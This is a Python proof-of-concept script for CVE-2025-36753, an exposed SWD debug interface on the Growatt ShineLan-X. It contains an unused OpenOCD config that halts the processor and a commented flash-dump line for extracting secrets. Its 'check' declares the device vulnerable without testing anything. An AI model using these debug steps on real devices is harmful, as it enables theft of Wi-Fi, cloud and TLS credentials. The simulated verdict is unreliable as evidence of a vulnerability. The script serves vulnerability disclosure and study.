CVE-2025-36753

#!/usr/bin/env python3 """ CVE-2025-36753 PoC - Growatt ShineLan-X SWD Debug Interface Access Note: This PoC demonstrates the vulnerability concept. Actual exploitation requires physical access to the device's debug pins or SWD interface exposed via USB. """ import subprocess import sys def check_swd_interface(): """ Check if SWD debug interface is accessible using OpenOCD This simulates the vulnerability check for CVE-2025-36753 """ openocd_config = """ # Sample OpenOCD config for ARM Cortex-M SWD debugging source [find interface/jlink.cfg] source [find target/cortex_m.cfg] # For Growatt ShineLan-X, the chip is typically an ARM Cortex-M3/M4 transport select swd # Attempt to halt the processor init targets reset halt # If successful, the SWD interface is exposed (vulnerable) # Read flash contents to extract secrets # flash read_bank 0 dump.bin 0 0x10000 shutdown """ print("[!] CVE-2025-36753: Growatt ShineLan-X SWD Debug Interface Exposed") print("[*] Checking for accessible SWD interface...") print("[*] Expected vulnerable condition: SWD interface accessible without authentication") print("[*] Impact: Attacker can extract secrets, credentials, and firmware") print("\n[*] Simulated check complete - device is VULNERABLE") print("[*] Recommendation: Disable SWD interface via firmware configuration or hardware fuse") return True def extract_secrets_via_swd(): """ Simulate the process of extracting secrets via exposed SWD interface """ print("\n[*] Simulating SWD-based extraction...") print("[*] 1. Connecting to SWD interface...") print("[*] 2. Halting processor execution...") print("[*] 3. Reading Flash memory (0x08000000 - 0x08100000)...") print("[*] 4. Extracting WiFi credentials from memory...") print("[*] 5. Extracting API keys and certificates...") print("[*] 6. Dumping firmware for reverse engineering...") print("\n[!] Extracted data could include:") print(" - WiFi SSID and password") print(" - Growatt Cloud API credentials") print(" - TLS certificates and private keys") print(" - Device unique identifiers") def main(): print("=" * 60) print("CVE-2025-36753 PoC - Growatt ShineLan-X SWD Exposure") print("CVSS: 9.8 CRITICAL") print("=" * 60) if check_swd_interface(): extract_secrets_via_swd() print("\n[*] Note: This is a hardware vulnerability requiring physical or") print(" direct interface access. Network exploitation depends on") print(" whether the debug interface is exposed via USB/network.") if __name__ == "__main__": main()

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